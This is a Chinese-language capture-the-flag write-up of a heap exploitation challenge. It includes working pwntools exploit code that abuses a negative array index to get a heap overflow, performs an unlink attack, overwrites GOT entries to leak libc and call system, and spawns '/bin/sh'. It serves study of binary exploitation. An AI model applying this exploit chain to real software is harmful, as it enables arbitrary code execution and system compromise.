看雪CTF2017学习记录整理系列2
本文已发表于“看雪论坛”,转载请注明出处。
本来想比赛后好好整理一番再发的,没想到事情每天都堆积不完,只好抽空先把写过的发出来,以后“有机会”再修整吧~
程序运行后,输入用户名后显示命令列表,类似于记事本存储管理,实际上只有前3项命令有用,第4项“查看”是摆设,无实际功能:
把程序扔IDA里开始先分析程序流程,对应上面的程序功能:
接着就开始找这3个主要函数的漏洞,先看创建节点的函数create
,理解存储节点的大致流程:
上面代码新建的节点最后被保存到一个处于.bss
段的全局数组列表里了,每个元素存储一个对应的堆地址,紧跟着后面的一个QWORD对应存储了其使用标志位g_flag_list[i]
:
而对应的节点size保存在另外一个列表里,这个列表是在程序一开始时申请的堆内存里,大小为0x14,意味着预定保存5个节点的size,列表的地址保存在一个全局变量g_size_list
里,同样位于.bss
段里较前面的位置:
既然列表预定存储5个节点,我们先看看是否有漏洞“越界”,发现输入索引调用的函数“input_number”可以利用:
这里调用atoi
函数将用户输入的字符转换为数字,返回为无符号整型数,而上层调用的接收变量定义却为整型数,于是可以输入一个负数直接造成数组“向上”越界,索引到g_node_list
前面(低地址)的“负元素”。这个漏洞有什么用呢,因为g_size_list
正好在g_node_list
的前面位置(索引为-2),所以可以将其进行修改,填充一些大值,使得原本已经创建的节点堆块的size“无形”中变大,造成在后面编辑节点时可以进行堆溢出:
#create smallbins list
size = 0x80
for i in range(0, 2):
create(size, i, chr(ord('a') + i) * size)
#change g_size_list to expand heap size to overflow
create(size, -2, chr(ord('a') + 2) * size)
此时已具备堆溢出的条件,对0号节点进行编辑可以覆盖到1号节点所属的堆块范围,于是我们进行unlink方式的堆利用,在0号节点堆块的buf伪造好一块“已释放”的前堆块,然后覆盖1号节点堆块的pre_size
头和当前size头里的前块使用标志pre_inuse
,使得在释放1号节点堆块的时候认为前块堆块空闲要进行合并触发unlink操作,相关具体原理请自行查阅资料,这里贴一下本题的操作:
#unlink exp to rewrite g_node_list[0] to fd(g_node_list - 0x18)
#1st chunk buf to fake_chunk
g_node_list = 0x6020e0
p = g_node_list + 0x0
fd = p - 0x18
bk = p - 0x10
payload = ""
payload += p64(0) + p64(0x81) + p64(fd) + p64(bk)
payload += "A" * (0x80 - 4 * 8)
#2nd chunk
payload += p64(0x80) + p64(0x90)
edit(0, payload)
#unlink
delete(1)
print 'unlink sucess!Now: g_node_list[0] = g_node_list - 0x18'
成功执行完unlink操作后的结果就是,0号节点的地址g_node_list[0]
被修改成被伪造堆块的fd指针,也就是“g_node_list - 0x18”的位置,这样意味着,0号节点不再指向堆块,而是指向的.bss
段的地址:
此时我们对0号节点进行编辑,就会再次覆盖到0号节点的地址位置,将其修改成地址更前面,可控范围更大的地方:
#edit g_node_list[0] to rewrite g_node_list[0] to control more big range data
g_node_list0 = g_node_list - 0x30
edit(0, p64(1) + p64(0) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewrite g_node_list0 to expand range'
这样一来,编辑范围扩大到也覆盖到了g_size_list
了,于是我们可以再次编辑,来修改g_size_list
(这里我选择改成got表中间项,前后的数据足够大),以便后面引用“负节点”时对应的size够用,顺便把需要的一些地址放置到某些“负节点”上:
#edit g_node_list[0] to rewrite g_size_list to a pointer which(@got addr mid) can expand the g_node_list[i] size, then put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]
got_free = 0x602018
got_atoi = 0x602058
got_addr_mid = 0x602038
edit(0, p64(got_free) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewite g_size_list and put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]'
通过这样搭配修改g_size_list
和负节点指针数据,基本上可以实现任意地址写的功能,从而可以将-3号的节点存放的free@got
指针,编辑为puts@plt
,这样后面调用free
时能够劫持程序跳转到puts
函数去执行打印操作,泄漏任意地址的数据,如泄漏atoi@got
的数据得到atoi
的函数地址,从而根据提供的libc文件中函数偏移量可以计算出system
函数的地址:
#edit g_node_list[-3] to rewrite free@got to puts@plt, the delete g_node_list[-1] to leak atoi address and calc the address of system
plt_puts = pwnfile.plt['puts']
edit(-3, p64(plt_puts), False)
print 'rewrite free@got to puts@plt'
leak = delete(-1, True)
print 'leak the content of atoi@got'
addr_atoi = u64(leak[1:7].ljust(8, '\x00'))
addr_system = addr_atoi + offset
print 'addr_atoi : %08x' % addr_atoi
print 'addr_system : %08x' % addr_system
其实,因为可以泄漏任意地址的数据,完全可以写一个leak函数,再使用pwntools的工具库DynELF来泄漏system
函数的地址,而不必要提供libc文件(可能提供libc文件有其他的意思,比如unlink的check版本),这里因为时间关系暂不演示了。
而拿到system
地址后就简单了,用同样的手法编辑一下atoi@got
,改成system
的地址,传入参数“/bin/sh\x00”,成功getshell:
#edit g_node_list[0] to put atoi@got to g_node_list[-3] (because g_node_list[-1] have been free the the flag is 0), then edit g_node_list[-3] to rewrite atoi@got to system adress and finally get shell
edit(0, p64(got_atoi) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'reput atoi@got to g_node_list[-3]'
edit(-3, p64(addr_system), False)
print 'rewrite atoi@got to system address'
target.sendline("/bin/sh\x00")
target.interactive()
本地实验成功后,指定好远程libc的偏移,切换远程target,拿flag:
目前没有反馈
表单载入中...